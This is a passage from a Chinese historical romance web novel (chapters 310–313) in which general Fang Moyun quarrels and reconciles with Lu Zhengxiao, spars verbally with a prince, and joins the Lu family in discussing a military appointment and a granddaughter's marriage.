萧怀逸温和地说道：“不知……方将军是如何抓到敌方将军集益的？”
他的话语中似乎带着一种探究的意味，茉云的眼眸微微一挑，抬头看向萧怀逸，嘴角带着一丝冰冷的笑意说道：“小王爷，您还有何疑问，一并说了，我一块儿回话。”
萧怀逸继续说道：“我确实还还有一疑问，那幽戎为何会同意交换人质，最后却又杀了程卓？”
茉云顿时眼神中闪过一丝狠戾，嘴唇微微勾起，冷冷地说道：“第一个问题，幽戎并未下令杀我，但集益私自勾结其他势力暗杀我，惹怒了幽戎，幽戎便赶走了他，而我趁机逮了集益去换人。第二个问题，幽戎无意杀程卓，但是我说了一句，我没想到你幽戎会这般好心，为这个曾让你交到至交好友的贼人，留条活路。幽戎便一箭杀了他。”
萧怀逸冷冷地看着茉云，嘴角依旧带着一丝讥讽，“方将军善谋。”
茉云忽然冷冷地笑了，眼神锐利地看向萧怀逸：“也许是幽戎读懂了我言下之意，就像我也懂小王爷对事情经过其实并不敢兴趣，只是想借此揭开我心机狠辣、城府极深的一面，让卢家军的将领意识到我也许比程卓更危险，因为我连敌军统帅都能蛊惑。”
顿时，营中的众人都抬头吃惊地望向茉云，空气似乎凝固了片刻，连元帅都有几分吃惊的望向茉云，正啸顿时双眉紧皱望向她，四目相触之时，她的双眸居然如冰窟一般。
“所谓忠言逆耳，着实该好好考虑！”茉云起身冷冷的望向正啸说道。
说完，丢开碗筷起身边走了，走到营门时，她忽然转头看向元帅抱拳禀报道：“元帅，如无其他军务，末将也该回中州了！”
还未等元帅回应，茉云转身揭开营帘走了出去，正啸轻轻咬紧了牙关看向茉云冷酷而决绝的背影，老太君却嘴角微微上扬。
今夜的营地，寂静如水，只有远处的风声和偶尔传来的军号声回响。正啸在营帐中查阅军务，旁人看着他的神情都不敢吭一声，突然营外传来了一骑绝尘离军营而去的声音，正啸握笔的手突然停住了，是茉云的马蹄声，离营了……
正啸忿然的丢开了笔，起身就出了营帐，在营门前下了一道令，就飞身上马急驰而去。
310.吵架
茉云目光空洞地策马而去，她忽然间什么都不愿多思，只想任由这刺骨的寒风，将压抑的情绪卷席一空。她亦不知自己为何会有如此的冲动，好似心中有股无名的火，烧得自己五内俱焚焦灼不安。
一路疾行，直到远远望见那商甲穿梭的小镇灯火，已被寒风侵袭得毫无知觉的茉云，好似才感受到了些许温暖，特别是看见那月色下，镇上小店门前晃着的酒字招牌，她便调转马头策马而去，此刻若能一醉方休该多好啊。
正啸的马一路驰骋，疾风扑面而来，马蹄声音穿透了寒冷的夜风，回响在这寂静的夜里，却熄灭不了他的心底焚烧的急火，追到此处烈儿忽然放慢了脚步，正啸抬眼望去也看见那酒字招牌，他拉紧了缰绳调转马头而去。
进入小镇，他抬眼望去，果不其然，小店外停着茉云的马。正啸轻轻松了口气，心头的担忧缓解了几许，但那股随焦虑而生的愤怒依旧在他心中翻滚。
茉云在小店住下，几碗酒下肚顿觉得身子暖和了些，可心中亦是空落落的，自己这是怎么了……就在此时，茉云忽然听见自己房门外小二焦急的声音，一直好似在阻拦谁说道：“客官，军爷，军爷，这房间已有客人了。”
茉云瞬间警觉，手轻轻放在了桌旁的剑柄上，望向房门。然而，门被一脚踢开，正啸目光愤然地站在门口，胸膛好似都应怒火在起伏。茉云则毫不在意地白了他一眼，松开剑柄，继续端起酒碗一饮而尽，好似全然不在意他的存在。
正啸走进屋子，小二站在一旁探头看着两人神情，笑着说道：“认识啊，那……小的告退了。”
茉云则抬手指着酒壶，说道：“小二，再给我搬坛酒过来。”
小二挠了挠头，一脸为难的说道：“客官，您这酒，掌柜都是半卖半送！”
茉云抬手指了指正啸，但目光始终没有投向他一眼。正啸没有多说什么，直接拿出银两丢到桌上，眼神平静却透着一丝冷冽。
小二顿时眼睛一亮，拿过银两，开心的笑道：“好嘞，马上为两位客官取酒来。”
正啸安静地坐了下来，他拿起酒碗放在自己面前，拿起酒壶斟满酒，也一口饮尽。茉云则依旧沉默，继续喝着碗中的酒，好似两人之间无话可说。
一时间，房间里只剩下杯中的酒香和空中的压抑，彼此沉默着，但好似每一口酒的下肚都在积淀着更深的情绪。
茉云已经喝了很多酒，此时，正啸忽然端起酒坛，一口饮尽，酒液顺着喉咙滚滚滑过。
茉云忍无可忍，借着瞬间点燃的怒火，如炸了一般，怒不可遏说道：“卢正啸！你又不好酒，你把我酒喝了干嘛?”
正啸放下酒坛，眼神也愈加严厉，他直视着茉云，但依旧在克制着心中怒火：“谁说我不好酒，只是我不喝罢了。”
“怎么你喝了酒，会糟天打雷劈吗？”茉云眼神好似利刃，瞪着正啸直接怼道。
正啸眉头紧皱，咬着牙说道：“我曾承诺过，决不以酒色误事。”
茉云则愤愤地翻了个白眼，冷冷说道：“对，不然你爷爷能从天而降来揍你！”
“方茉云，因为我说过的话，一定作数。”正啸好似已经压抑不住心中怒火吼道。
茉云被他这么一吼，目光更是忿然地回瞪着他，可心中不禁反问自己，他这意思自己说话不算数罗？
正啸怒不可遏，语气更加急促地质问道：“我可曾跟你说过，不要拿着自己小命当玩笑，你应过我没？”
茉云愣了半刻，心头却忽然明白几许，这家伙原来是因为此事恼怒。尽管霎那间心头的忿然淡了些，但茉云依然是一脸倔强的瞪着正啸。
两人目光锋利如矛地对视，正啸眼中燃烧起一股渐渐失控的火焰，他一把抓住茉云的手臂，愤怒和焦躁交织地吼道：“你可曾考虑过我感受吗？”
“没有！”茉云抬起头直视着他双眸，她斩钉截铁地语气里显然带着一丝赌气，但她咬了咬唇心中却又有几分软化。
正啸那本在极度克制的情绪瞬间失控，顿时眼神如被激怒的野兽一般，心中狂热与怒火犹如爆发的洪流，茉云还未来得及反应，就被这突如其来铺天盖地的情绪所笼罩。
灼热的体温侵袭而来，这一刻他所有的失控都倾覆而上，像攻城略地般卷席扫荡一切。而茉云的理智和思绪在这片混乱的浪潮中被彻底淹没，完全无法抵抗，身心都在情感的洪流中溃不成军。
直至夜深，银辉透过窗棂洒向床榻，正啸渐渐恢复理智，他深吸一口气轻轻伸出手，轻轻抚过茉云额头上散乱的发丝，他两的目光在黑暗中交汇，深深地情愫在这一刻紧紧交织。
但顷刻间，茉云眼中依然透出一股倔强的狠劲，说道：“卢正啸，你给我听好，我绝不会放过你，也绝不会让你失去我。”
正啸的心脏陡然一震，伸手猛地将茉云拥入怀中，两人的身体几乎深深融为一体。
半夜，寒风在窗外呼啸而过，茉云被惊醒，月色下，正啸依旧深沉而安稳地躺在自己身旁，她静静地注视着他，忽然轻声说：“你知道吗？老乐走之前最后的遗言说，大战之后，让我带你离开京城，说那是个吃人的深渊，他劝我们去过自己的日子……你会跟我走吗？”
“会。”正啸眼睛并未睁开，却没有丝毫犹豫的回答道。
茉云愣了愣，定定地望着他，他何时醒来的……
正啸睁开那双深沉的眼睛，双眸深深望向她，说道：“我负责打赢这仗，你负责日后将我弄出京城。”
茉云忍不住被逗笑了，心中的压抑似乎在这一刻全部释然：“好，就这么说定了。”
她闭上眼睛，准备安稳地入睡，然而，忽然间，她感受到唇间传来了温柔而炽热的气息。她恍若未觉地睁开眼睛，又缓缓闭上，这一瞬，她再听不到窗外的风声，好似自己失去了知觉，所有的感官都被那一抹温柔的触感占据。
渐渐地，她耳边又传来了……心跳声和呼吸声在这个宁静的夜里交织，好似整个世界都被他们占据，沉沦在彼此之间，无法割舍，唯有月光在晕染。
夜色如此柔软亦如此浓郁，直至天边仅有微微的一丝光晕渗透出来。正啸缓缓睁开眼睛，低头看向怀里熟睡的茉云，如此静谧而安然。他不自禁他轻轻俯身，在她额头深深吻了一下，让心中涌动的情意弥漫周身。
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过了良久后，正啸声音轻柔而温和说道：“要回营了。”
茉云毫无反应，甚至眼睛都没有睁开，直接松开正啸，抱住了枕头，继续心安理得睡了过去。
正啸顷刻逗笑了，无奈又宠溺地看着她，随即一把将她抱起，替她穿好衣裳。
茉云迷迷糊糊地半睁开眼，看了一眼窗外仍旧漆黑一片，声音带着困倦与不满说道：“现在还是夜里。”
正啸无语地耐着性子说道：“还要赶回营中，清早我要视察军中早操。”
“那你先回去嘛……我睡醒了就回去。”茉云不为所动继续躺下，扯过被子盖在身上，说完，她还不忘补充一句：“真的，说话算数，你先回，我肯定回。”
正啸瞬间又被逗笑了，嘴角上扬无奈的看向茉云，这话他要是信了，就白认识她这么多年了。
他将银两放在桌上，然后抬手拿起棉被将茉云整个包住，一脸的不容置疑将她一把抱了起来。
茉云窝在他怀里，无语地瘪了瘪嘴，语气不满的说道：“天都还没亮，一日不去视察，又能如何？”
“一日不去，便会日日懈怠，如何打赢这仗？什么时候才能走人？”
茉云随即轻轻被逗笑了，点头说道：“好，也有道理。”
正啸抱着她飞身上马，黎明前的寒风拂过，黑夜尚未完全散去，天地间仍是一片静谧。茉云忽然看向那仍笼罩在黑暗中的远方，若有所思地问道：“你也觉得京城是吃人的深渊吗？”
正啸神色温和，语气却异常笃定：“是。”
茉云靠在正啸的怀里，微微仰头望着他：“可那儿的权势地位，让那么多人都趋之若鹜，不论好坏善恶都向往之？”
正啸深吸一口气，目光沉稳，带着他一贯的冷静与沉稳：“各人追求不同，于他们而言，这亦是进取。”
“你出生便有的，便是多少人一生梦寐以求！”茉云低垂着眸子，若有所思地说道：“可是……老乐最后宽慰老影说让他放下，说不过都是棋子罢了，你也是吗？”
正啸未曾犹豫，声音沉稳坚定的答道：“是。”
茉云怔了一瞬，抬目望着他，眼中透出一丝惊诧。
正啸的黑瞳深邃如夜地望向远方：“闻到长安似弈棋，百年世事不胜悲，我自小身在局中，看尽这沉浮诡诈，日日如履薄冰，连话都不能轻易像这般与人说，不是棋子是什么？”
“那卢家和你为何要沦为这棋子？”
“因为卢家和我也想这盘棋能赢。神志清明如我爷爷，难道不知卢家于朝廷而言是什么？高官厚禄、深受器重的背后，皆是其实难副的重担。峑戎未灭之前，卢家这颗棋子若弃局逃离，或若被吃掉，那南境要何时才能平？故而棋子不能置身事外，亦要走下去，直到胜局。”
茉云望着正啸，心中微微一震，卢家只身入棋子，为的就是此局能赢，自己家乡能获得一方太平……她深吸一口气靠在他的怀里，目光落向远方渐亮的天际。自己曾一度还担心程卓之事会摧毁正啸心中的信念，如今看来，自己真是多想了——卢家人心中刚正的力量，连自己都能感化，风雨不催，山止川行。
311.为何？
冬日朝阳还未照亮大地，茉云和正啸便回到军营，茉云一进营门便直奔自己的营帐，榻上一躺便沉沉地睡了过去，疲惫的身躯被温暖的被褥包裹，周遭似乎还有他的气息，整个人瞬间放松下来。
正啸则换上一身盔甲，毅然走入训练场，目光似乎比往日更加坚毅而冷峻，好似这股气势连晨曦也为之一颤，冲破云层奋力洒向大地。
老太君也走出了营帐，眼神深邃地望着正啸那坚毅而沉稳的背影。她目光凝视良久，正啸身上的那股刚毅、果敢，好似有了更加坚实的支撑。她微微一笑，缓步转身回到营帐，抬眼看见执礼端着早膳走来，见他眼中满是血丝，问道：“怎的？昨晚没休息？”
执礼眼中流露出一丝疲惫，心想我能睡得着吗？
老太君挑眉，显然有几分调侃的问道：“你少主，将人给逮回来了？”
执礼叹了口气，笑着点头道：“嗯，今晨才回的营。少主已下令，若她伤势未愈，润吉或其他守营将军敢放她出营，便军法处置。”
老太君顿时被逗笑了，喝了一口粥说道：“知道当日为何老卢帅跟全家人说，不可辱逆我吗？”
执礼愣了愣，眼中闪过一丝疑问望向老太君，老太君则意味深长地笑了笑，目光深邃，回味起往事……
而正啸早操之后，便回营处理公文，午膳之后元帅便传人来营中商议程卓之事如何向朝廷汇报。魏副帅也带病也来到营中，众人眉头紧蹙，显然心中亦都有所不安。
茉云则眼带睡意，安静地坐在桌旁，她未用午膳在默默吃着东西。众人开始讨论如何向朝廷汇报此事，正啸坚持认为该如实上奏，但魏副帅和周总教头等人则担忧，朝中那些素来主和的御史可能会趁机发难，对卢家军进行口诛笔伐，影响战局。
卢老太君一言不发，只是坐在一旁，默默沉思着。而茉云好像一切都与她无关，吃得塞满一嘴之时，元帅忽然问道：“茉云，你觉得呢？”
众人看向她顿时忍俊不禁，老太君长叹了一口气，一脸嫌弃又好笑的眯眼看向她。
茉云随即端起手中的茶杯，喝水将口中的东西咽下，不急不忙地说道：“元帅，我也觉得该如实上报。”
元帅深吸一口气说道：“嗯，茉云和啸儿的意见一致，本帅是怕朝中非议，影响大战进程。”
“元帅，怕那些鬼祟作甚，我们卢家军这一路，可谓是山止川行，风禾尽起，从来无惧无畏。”茉云轻轻一笑，抬起头说道。
大家不禁愣了半刻，所有人的目光都投向了茉云，她神情好似波澜不惊，但是眼神中透出的豪情和凌冽，可震慑众人。
老太君轻轻笑了笑，目光中带着几分戏谑的赞许道：“难得啊，听你方茉云说我们卢家军，而不是你们卢家军。”
茉云一愣，随即马上嬉皮笑脸地说道：“你瞧，我这造次了不是，是我不该，跟您陪个不是，是您的卢家军，都是您的。”
“哼，”老太君一脸没好气的笑着骂道，“狗嘴里吐不出象牙来。”
元帅看着茉云那嬉笑模样，都不禁乐了摇摇头，众人亦都被逗笑了，但任谁都能从卢老太君的目光中看出欣慰。
商议完此事，正啸回到营中休息了一个时辰，又恢复了精神奕奕，即刻便下令，召集诸将入营汇报军务近况。他的双目透出一如既往的坚毅与冷峻，营中气氛瞬间严肃起来。
执礼端着一叠军务文书站在一旁，眼中隐隐有几分疲态，他将文书递到正啸面前，不禁打了个哈欠。
正啸接过文书淡然的说道：“你先下去休息吧。”
“少主，卑职还撑得住。”执礼微微一笑，但他随即话锋一转，笑意中透些许意味深长的说道，“不过，老太君让我传话给少主。”
正啸没有抬头，依旧看着手中的军务文书，但眼神似乎在等着执礼继续说。
“今早，老太君问我，知不知道为何老卢帅当年那般严厉，却总能体谅她，且从不允许任何人冒犯老太君？”
正啸的手停顿了片刻，他并未回话，却微微抬目望向执礼，他身旁的若辰亦看了过来，京城中皆知，老卢帅本是无畏于天地之人，就连先皇跟前都能据理力争，却惧内……
执礼声音微微带笑，继续说道：“老太君的原话是，自她嫁入卢家后，劳心劳力，为了诸多破事，殚精竭虑。若老卢帅还在一旁叽叽歪歪或是任由旁人终日微词，她定然是二话不说，尥蹶子不干了。这一来二去的人仰马翻，老卢帅自然也知道，搞不赢的话，自己别给自己找事！”
说到这里，正啸瞬间瞪向执礼，执礼故意不瞧往正啸，往一旁移了半步。千山站在一旁，亦微微低头忍着笑，而若辰早已笑出了声。整个营帐的氛围瞬间轻松了几分，正啸虽一脸冷峻，但是眼神也不经意间的柔和了几分。
此时，沧海仍是第一个急匆匆地赶来的，他的眼中也布满了血丝，诸将陆续进入，纷纷开始汇报各自负责的军务，气氛瞬间又严谨了起来。
今日威行也好似变了个人似的，显得格外严谨，神色完全没有之前的浮躁，用心的准备了这次军务汇报，字斟句酌，丝毫不敢懈怠。
正啸静静地坐在前方，目光锐利地扫视着每一位将领，偶尔点头表示认可。虽然军中刚刚经历动荡，但现在的一切终于恢复了原状，军心稳固，军营也显得更井然有序。
会后，诸将行礼准备告退之时，鹿里忽然拿起威行军务报告，眼中闪过一丝戏谑，笑着说道：“行啊，士别三日当刮目相待。十次军务会议，少帅要训斥八次的人，改头换面了，这字写得都都带着点东山军师的风范了。”
“茉云说了，我要跟沧海哥学习。”威行从鹿里手中抢过了自己文书，沧海愣了一下，眼神微微转向威行，而威行则笑着接着说道，“要学习沧海哥的赤诚忠勇，兢兢业业，荣辱不惊。”
正啸目光沉静而深邃的看了过去，眼中闪过一丝认可。执礼则笑着接过威行的话笑着说道：“威行将军说得是，元帅昨日也说，但凡交给沧海将军之事，皆可放心。。”
沧海顿时起身，一副恭敬地说道：“都是卑职应该做的。”
小马则笑着语气带着一些调侃，问道：“威行将军，你说的难道是方将军原话？”
“不是，她的原话是，龚威行，你个猪脑子！你看看沧海哥，与你一样，幼时父将遭人陷害，家逢突变，九死一生，却不曾有一丝埋怨，回到卢家军，深受元帅和少帅器重，亦不曾有一丝骄躁，踏实扛事，从没废话，更无怨言。就你龚威行，仗着少帅自小将你带在身边，就能在军营横着走是吗？你日后再怠慢军务，
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事多话又多，老子就剥了你的皮抽了你的筋，舌头都给你拔了，我看你再废话！”
众人瞬间哄堂大笑，沧海神情中都有些不好意思，威行却笑得十分灿烂。
“对，这才像她原话。”小马亦笑得不行，点头指着说道。
众将其乐融融，正啸虽然神情依旧严肃，但眼中亦闪过一丝愉悦，充满压迫感的营帐再次变得轻松，透出一丝不言而喻的温暖。
营帐内，众人愉快地散去，沧海如往常一样，留在了营帐中看正啸还有何吩咐。
正啸抬头，目光深邃的轻声说道：“回营帐休息会儿。”
沧海抱拳恭敬准备告退说道：“是。”
正啸的目光却在沧海转身的一刻凝停了一瞬，忽然又开口道：“该说之时还是要说，你不处置，她就会下手处置，看兄弟们被扒皮抽筋，也不忍吧。”
沧海微微一愣，随即心领神会，点了点头说道：“好，我明白了。”
就在此时，旁边主营突然传来了萧怀逸的怒喝声，打破了这片刻的宁静，一贯温润谦和的萧怀逸的声音竟然如此尖锐：“方茉云，本王休要与你置喙！”
茉云的清脆而俏皮的声音也随之传来：“呀，我们谦逊有礼的萧小王爷，怎么了这是？末将是说了什么话正中您的痛脚？哦，不对，小王爷如此气宇轩昂，自当俯仰无愧，怎会有痛脚呢？定是属下之过失，末将出生粗鄙，一介武人，若有得罪，还望您海涵啊，萧小……王爷。”
她的话音故意拖长，语气戏谑故意加重了萧小两字，听起来满满都是讽刺，成了——宵小王爷。执礼和若辰相视一眼，皆忍俊不禁。
执礼旋即眼里满是戏谑的调侃：“方才我还跟关大人说，昨日萧怀逸如此挑拨，今日怎得此时还安然无恙，您居然跟我说茉云如今修身养性了？”
若辰亦是一脸灿然的笑意，望向正啸说道：“倒是你，也不用劝慰旁人莫开罪于茉云，她自己都能还回去，就你自己别惹怒她就行。”
正啸脸上皆是无语的神情，懒得搭理他们。
执礼想着则差点又笑出声的说道：“她居然好意思说，别人仗着得少帅喜欢，在军营里横着走。”
就在此时，萧怀逸气急败坏地冲进正啸的营帐，眼中怒火中烧，脸上没有丝毫的掩饰，站到正啸面前，他忍无可忍地问道：“正啸哥，尚且不论贤淑，自古女子，重德不重色，可此人无色亦无德。”
若辰和执礼对视一眼，几乎是同一时刻被逗笑了，眼神中透出几分调侃的望向正啸。正啸头都未抬，眼中透出一丝无语，继续翻阅着手中公文，似乎不想理会。
然而，萧怀逸不依不饶的，愤怒地继续问道：“正啸哥，我真的不懂，你为何容得这等张狂粗鄙之恶妇在身旁，被她气得嚼齿穿龈。这是为何？”
“我若不是喜欢，我怎会被她气炸？”正啸瞬间抬起头，没好气却耿直的反问道。
萧怀逸顿时愣在原地，嘴巴微微张开，竟一时找不到任何反驳之词。营帐内一片寂静，萧怀逸的怒气像是被一阵风吹散，眼神茫然而无所适从，他从未想过正啸会如此直白的承认……
正啸无语的再次低下头，看向手中的军务公文，若辰和执礼瞧着萧怀逸那迷茫无助的眼神，两人再也隐忍不住笑出了声来。
312.帮护
萧怀逸不可置信的走了，营里终于恢复了清净，正啸在草拟写给皇上的奏折，直到晚膳前，传令兵来报，元帅请他们一同到营帐用晚膳议事。
执礼旋即望向正啸轻声说道：“元帅此时……许是要跟您再次商议，让震北将军正式出任大将军一职。”
正啸微微蹙眉，起身时眼中透露出愁绪，若辰也看出来了，宽慰道：“震北将军一直待在你父帅身边，卢帅对其寄予厚望，亦是情理之中，你好好商议。”
正啸点了点头，与他两一同走向元帅营帐，主营之中元帅和老太君议着事，依妮在老太君身边侍奉着，魏副帅、茉云和东山也在场。
元帅抬目看见他们入营行礼，便开门见山地说道：“都坐，边吃边聊，本帅是想和你们商议确定一下，让震北出任大将军一职。”
听到这话，众人都明白，日后正啸接任元帅的职位，这一决定便意味着震北会成为军中的副帅。卢老太君的目光不自觉地集中在正啸身上，等待他的回应。
正啸深吸一口气，抬头直视元帅，声音低沉而有力：“父帅，前几日我也跟您探讨过，觉得震北哥出任大将军，军功不够，恐无法服众，我觉得沧海将军是为合适人选。”
元帅直接打断了正啸，语气中带着一丝数落：“这些年震北兢兢业业守在本帅身旁，任劳任怨。军功不足？那还不是因为每次有建功立业的机会，都你去了！”
正啸的目光一顿，双眉微蹙，魏副帅和若辰的眼中都闪过一丝惊讶，显然未曾料到元帅会如此直言。老太君的眉头也随之紧锁，瞪向元帅。
正啸深吸一口气，依旧坚持自己的看法，说道：“父帅，我还是觉得……”
“行了，你说的那些我都知道，你居少帅之位，还不是因你是卢家嫡子，你震北哥比你差哪儿了？他亦是从小立志报国，枉他还日日说你好话，你就不用再此非议他了。”元帅顷刻没好气地打断道，然后转向老太君说道，“娘，你觉得呢？”
营帐内瞬间变得异常安静气氛凝滞，正啸轻轻咬紧了牙关，但也未再说什么。
老太君的忿然的神情中刚要说什么，却忽然闪过一丝沉思，望向茉云说道：“你觉得呢？”
茉云放下双手握着的热碗，风轻云淡地说道：“老太君，我如何有资格提议大将军之事呢？”
“让你说，你便说，让元帅也听听大家的想法！”
“元帅，在我老家，凡家中有都难以抉择之事，都抓阄，不如咱也抓阄吧。”茉云一脸灿然的笑颜说道。
“军中大事，岂能如此儿戏！”魏副帅吃惊的看向茉云说道。
此时执礼却和东山两人互望一眼，一般茉云笑得如此天真的模样，那便是心中不知在打什么算盘。
“魏副帅，所谓天命所归嘛？咱自己无法抉择之事，但凭天意嘛！在座之人一人提议一人，元帅提议震北将军，少帅提议沧海将军，我提议万莫！”
“谁？”元帅顿时看向茉云反问道。
“万莫啊！”茉云一脸直接的说道，此时站在正啸身后的鲜少有表情的千山都愣住了看向她，若辰顿时忍俊不禁的看向她。
“万莫他都不是军中将军，他都没有上战场打过战！”
“诶，元帅，此言差矣，震北将军在元帅您身边可谓是忠勇赤诚，万莫乃少帅贴身侍卫亦是如此啊，震北为护元帅安康，曾落入暗营九死一生，但万莫也曾为少帅差点死过两回。再者您提议您义子，我提议我兄弟，未有不公啊，最后老天爷决定嘛！”
元帅顿时无语的望向茉云，卢老太君则嘴角微微上扬，安静的吃着饭。
“再者万莫虽没有领兵，那可是跟随少帅在阵前刀山火海的闯，怎么算没上过战场呢。”茉云看向元帅一脸极为崇敬的说道，“但我听您刚说的话，我觉得甚为有理，少帅就是喜欢揽活，以后这冲锋陷阵，血雨腥风的活，谁愿意去谁去嘛。明儿就安排东山和执礼大人去打幽戎，人也是一心立志报国的，跟震北将军一样，只是没得机会。”
“扑哧”顿时卢老太君和依妮都笑出了声，众人拼命的忍着笑，元帅一脸忿然而无奈的吃着饭。
“你这孩子，怎么跟元帅说话的！”魏副帅亦无语的看向茉云说道。
茉云则没好气的冷冷说道：“那我本还要说，若无少帅，这卢家……”
正啸顿时打断了抬头便打算了茉云的话，皱眉说道：“行了，吃你的饭！”
茉云没好气的白了正啸一眼，端起热汤喝着，卢太君则嘴角扬起一抹笑意，方茉云又怎能忍正啸受如此数落，她还想说元帅说反了，哪是因为正啸是卢家嫡子才做的少帅，实则是若没有卢正啸，这军中元帅的位置未必还在卢家。
正啸深吸一口气看向满脸忿然的元帅，宽慰道：“父帅此事最终由您决议，儿觉得都好。”
“由我决议什么由我决议！由我决议东山和执礼都要去上前线打仗了！”元帅顿时没好气的瞪向正啸说道，“这丫头每次都是帮你，将你爹我怼得一句话都说不出来，到了真让她帮你个大忙，给你生几个娃这事，她这又不乐意了！”
“噗”茉云瞬间差点没将汤都喷了出来，顿时惊慌失措的抬起头，顷刻间众人哄堂大笑，帮老太君刚乘完汤的卢依妮更是笑得前俯后仰。
茉云看着依妮没好气的说道：“卢依妮，你还有心思笑别人呢，你太奶奶说让你离开卢家之事，你考虑得如何了。”
“诶，快别这么说，只要有爷爷一日，依妮永远是卢家大孙女，快过来，来跟爷爷坐。”元帅温和地看向依妮招手说道，卢家素来就是这般隔代亲。老卢帅当年也是，见到儿子们就骂，见到孙儿瞬间和颜悦色。如今，卢帅依然如此，不管心中多在意，但是只要看见正啸就是哪哪都不顺眼，但对依妮就疼得不得了。
依妮粲然而笑，一脸乖巧地端起汤碗，去给元帅乘满热汤，端到他跟前。
元帅则一脸慈笑，满意而欣慰地点点头：“看我大孙女，都这般大了，生得如此乖巧喜人又懂事，等大战后，爷爷一定要给你找个有福的好人家。”
卢老太君则一脸没好气的看向元帅，说道：“你说此大话！她外公做的那些事，总会在京城传开，你能在京城给他找那户人家？”
“娘！您别当孩子这么说。”元帅皱眉看向卢老太君，谁都知道元帅一贯不轻易辱逆他娘的，可是此时他神情却十分凝重。
“卢依妮，老太君让你离开卢家亦是为你好，日后你在京城定是处境艰难，你要有心理准备！”茉云则看向卢依妮未有半分遮掩的说道，
正啸亦皱了皱眉，目光落在依妮身上，这亦是他此时最担心之事，哪怕依妮是卢家嫡孙女，但判臣血脉——在京城这流言蜚语漫天飞舞之地，她一生将会异常艰难。
依妮却毫不在意，撅起嘴巴：“我不怕，我是我爹的女儿，卢家嫡孙，我爹就从不畏人言，我也不怕，就像您说的，我卢家无惧无畏！”
“说得好！”顿时元帅欣慰的指着依妮说道。
茉云一脸无语的捂着头直白地说道：“我那是说给魏副帅和诸位将军听的，你怎么都信了？”
“难道不是吗？”
“当然不是！”卢老太君没好气的看向依妮说道，“任朝堂
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沉浮，外人如何说道，我卢家关起门来，家中和睦一心。日后你嫁到人家里，公婆妯娌若以此事讥讽于你，以你的性子，你过得了一日？”
“那我就不需要回京城，我也不喜欢京城，南容就挺好，江湖重情重义，快意恩仇。”
“诶，这倒是也是一条出路。”元帅想着看向依妮慈爱地说道，卢帅这一生有很多江湖中的朋友，皆是侠义之辈，比起京城的尔虞我诈，他素来觉得南容是个不错之地，所以当年力排众议将正啸送去了南容。
“依妮，你当真想好了，此生呆在南容？”正啸深吸一口气，看向依妮。
依妮像鸡啄米一样点了点头，眼中满是坚定。
“好！”正啸听到依妮的回答，轻轻松了口气，女儿的心愿他都愿意支持，而且这也是一条不错的出路，至少能让她过上平静安稳的生活，依妮听道正啸的首肯，眼睛一亮，亦开心的点点头。
茉云撑着下巴和老太君对视了一眼，两人眼神都透出一丝笑意，茉云看向依妮说道：“我怎么觉得，正中你下怀似的？”
依妮被问得一怔，顷刻好似有一丝紧张，连忙否认：“哪有！”
“诶，你爹的师弟，万子谦的长子好似和你一般大小，他们家殷实富贵是个好人家！”茉云看向老太君抬眉说道。
老太君嘴角微扬说道：“嗯，我见过万子谦，是个谦逊有礼的君子，想必其子亦不会差到哪儿去。”
“不不不！万师叔家乃商贾之家，我连算盘都不会打，不合适！”依妮马上头摇得像拨浪鼓一样说道。
“那就边城曲家，他家习武，但是家风亲和，家底亦足，还远离京城。他们家跟你爹，你爷爷亦关系匪浅！”茉云想着说道。
“那不行，我……我得留在南容，我……我还能……帮爹和您孝敬会当顶和琼华的师恩！”
正啸抬目看着依妮，任谁都能看得出依妮眼底的慌张，脸颊还带着一丝绯红。
卢老太君旋即没好气的戳穿道：“哼，每日跟着叶家那叫叶峰的小子身后，叫哥哥，也是给你爹和方茉云报师恩吗？”
“太奶奶你怎么知道叶峰哥哥啊！”依妮顿时吃惊的说道，说完就马上意识到自己说漏嘴了，顿时仓皇失措的捂着嘴巴小声说道，“爹和叶凌师叔是好友，我那不也是礼节吗？”
“废话，我每月都会给南容去信，你爹的师傅师娘和你师父自然也会回我！”卢老太君没好气的说道，“礼节？那云鹤还是你爹的师弟呢，你终日叫他草包师叔，但只要碰到了叶家人，那小嘴甜的叭叭的！”
依妮愣在原地再也无法辩驳，可是众人心中明了，元帅和正啸都在边关，总是顾及不暇，老太君虽然表面言辞刻薄处事刚烈，但对于每个家人都是巨细无遗的关切着。
“叶家是个好亲家！”茉云则笑了看着老太君和元帅说道。
“对”元帅欣喜满意摸着胡须说道，“叶大侠和爷爷当年就是好友，叶家侠义，好！”
“哎，我还指望着卢依妮日后能找像关家这样的好人家！”卢老太君指着若辰眼底透出一丝遗憾地说道。
茉云则顷刻乐了说道：“老太君，我一直觉得您和关老夫人性子不同，有些嫌隙也难免，没想到您这么厌恶她啊，您居然想让卢依妮去他们家？关家上下加起来，也不是她对手啊！您可真行！”
顿时众人哄堂大笑，元帅也畅然而笑，冰冷的军营中亦瞬间透出了家庭的温暖。
老太君亦笑得开怀，倍感欣慰，她不禁眼中闪过一丝薄雾，心中轻轻说道：“老头子，啸儿终于有一个能为他撑伞，又愿陪他淋雨的人。”
313.清醒
入夜渐深，外面的寒风呼啸而过，营帐内的烛光微微摇曳，正啸和若辰、执礼正围坐在桌前，讨论着军需军务，气氛凝重而专注。
忽然一阵轻轻的脚步声打破了营帐内的严肃，是依妮小心翼翼地端着一大碗热气腾腾的汤，生怕打扰到他们的议事，她的步伐轻柔，但手中的汤碗冒着阵阵热气，白雾在寒气中升腾，瞬间为营帐内增添了几分暖意。
依妮望向他们，温和的笑容如同冬日暖阳一般暖人心脾：“ 爹爹，今日天寒，伙营的营长伯伯给太奶奶煮了驱寒的姜汤，太奶奶说好喝，我便想着也给爹和若辰叔叔、执礼叔叔你们也端来一碗。”
若辰脸上瞬显现出温润的笑容，眼神中也透出一丝慈爱：“依妮有心了。”
“爹，您趁热喝。”她轻轻给先给正啸舀了一碗，语气充满敬意的双手奉给正啸。
“好。”正啸温和地接过汤碗旋即喝了一口，感受到暖流迅速在体内扩散开来，驱散了身上的寒意。
依妮给众人乘汤之后，的轻轻开口道：“爹，女儿日后若嫁在南容，您可觉得好？”
她的眼神带着些许期待，既带着少女的羞涩，又隐隐透出对未来的憧憬。正啸愣了一下，心头泛起微微感叹，一时间，脑海中竟没有找到合适的词来应她。他从未想过女儿这么快已经长大成人，已要谈婚论嫁了。
“你女儿问你话呢。”若辰笑得如同春风拂面，眼中带着几分看出正啸不太情愿的调侃。
执礼在旁边忍不住笑了说道：“您这就是在问您父帅同意您嫁叶家否？”
依妮则是一笑，笑意灿烂的说道：“爹爹疼惜女儿之心，觉得天下最好的男儿都配不上自己女儿是常事，但是爹爹一定会觉得女儿中意的便是最好的。”
